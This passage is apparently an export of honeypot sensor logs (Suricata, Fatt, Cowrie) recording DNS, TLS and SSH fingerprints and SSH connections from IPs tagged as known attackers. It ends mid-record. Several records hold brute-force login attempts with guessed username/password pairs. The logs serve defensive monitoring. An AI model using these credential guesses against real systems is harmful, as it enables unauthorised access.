25215	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:09:33.352613+03	2021-09-20 14:15:09.8185+03	{"_id": "ZQblAnwBvYTbRNuEmhg4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 26326, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2073, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1640475306843290, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 38067, "timestamp": "2021-09-20T11:09:33.352613Z", "@timestamp": "2021-09-20T11:09:33.352Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
25216	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:09:33.446247+03	2021-09-20 14:15:09.81951+03	{"_id": "ZgblAnwBvYTbRNuEmxhD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34844, "timestamp": "2021-09-20T11:09:33.446247", "@timestamp": "2021-09-20T11:09:33.446Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
25217	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:33.404191+03	2021-09-20 14:15:09.821472+03	{"_id": "aAblAnwBvYTbRNuEmxhD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34844, "dest_port": 443, "timestamp": "2021-09-20T11:09:33.404191", "@timestamp": "2021-09-20T11:09:33.404Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
25218	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:33.997097+03	2021-09-20 14:15:09.822472+03	{"_id": "aQblAnwBvYTbRNuEmxjZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:50582 (192.168.176.2:22) [session: 13aa9a738d1b]", "session": "13aa9a738d1b", "@version": "1", "protocol": "ssh", "src_port": 50582, "dest_port": 22, "timestamp": "2021-09-20T11:09:33.997097Z", "@timestamp": "2021-09-20T11:09:33.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25219	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:34.389573+03	2021-09-20 14:15:09.824472+03	{"_id": "agblAnwBvYTbRNuEmxjZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:43866 (192.168.176.2:22) [session: dc35b2f07021]", "session": "dc35b2f07021", "@version": "1", "protocol": "ssh", "src_port": 43866, "dest_port": 22, "timestamp": "2021-09-20T11:09:34.389573Z", "@timestamp": "2021-09-20T11:09:34.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25220	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:33.694122+03	2021-09-20 14:15:09.825473+03	{"_id": "eAblAnwBvYTbRNuEmxjZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [musique/musique] failed", "session": "e4c204dc2291", "@version": "1", "password": "musique", "username": "musique", "timestamp": "2021-09-20T11:09:33.694122Z", "@timestamp": "2021-09-20T11:09:33.694Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25221	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:33.706069+03	2021-09-20 14:15:09.827473+03	{"_id": "eQblAnwBvYTbRNuEmxjZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [test1/test1] failed", "session": "ff9c995c571a", "@version": "1", "password": "test1", "username": "test1", "timestamp": "2021-09-20T11:09:33.706069Z", "@timestamp": "2021-09-20T11:09:33.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25222	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:33.804354+03	2021-09-20 14:15:09.828473+03	{"_id": "egblAnwBvYTbRNuEmxjZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "379b83e9db7f", "@version": "1", "duration": 3.828864574432373, "timestamp": "2021-09-20T11:09:33.804354Z", "@timestamp": "2021-09-20T11:09:33.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25223	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:33.999851+03	2021-09-20 14:15:09.8305+03	{"_id": "ewblAnwBvYTbRNuEmxjZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "13aa9a738d1b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:33.999851Z", "@timestamp": "2021-09-20T11:09:33.999Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25224	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:34.003831+03	2021-09-20 14:15:09.831501+03	{"_id": "fAblAnwBvYTbRNuEmxjZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f486c23457f8", "@version": "1", "duration": 2.7833635807037354, "timestamp": "2021-09-20T11:09:34.003831Z", "@timestamp": "2021-09-20T11:09:34.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25225	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:34.01634+03	2021-09-20 14:15:09.8335+03	{"_id": "fQblAnwBvYTbRNuEmxjZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ceo/ceo1234] failed", "session": "d49b9c58525c", "@version": "1", "password": "ceo1234", "username": "ceo", "timestamp": "2021-09-20T11:09:34.016340Z", "@timestamp": "2021-09-20T11:09:34.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25226	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:34.314413+03	2021-09-20 14:15:09.834498+03	{"_id": "fgblAnwBvYTbRNuEmxjZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "13aa9a738d1b", "@version": "1", "timestamp": "2021-09-20T11:09:34.314413Z", "@timestamp": "2021-09-20T11:09:34.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25227	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:39.609939+03	2021-09-20 14:15:09.8355+03	{"_id": "5QblAnwBvYTbRNuEsRis", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1298909443122987, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35820, "dest_port": 22, "timestamp": "2021-09-20T11:09:39.609939Z", "@timestamp": "2021-09-20T11:09:39.609Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25228	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:39.296196+03	2021-09-20 14:15:09.837501+03	{"_id": "6gblAnwBvYTbRNuEshi5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38666, "dest_port": 22, "timestamp": "2021-09-20T11:09:39.296196", "@timestamp": "2021-09-20T11:09:39.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25229	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:39.610187+03	2021-09-20 14:15:09.838471+03	{"_id": "6QblAnwBvYTbRNuEshi5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": 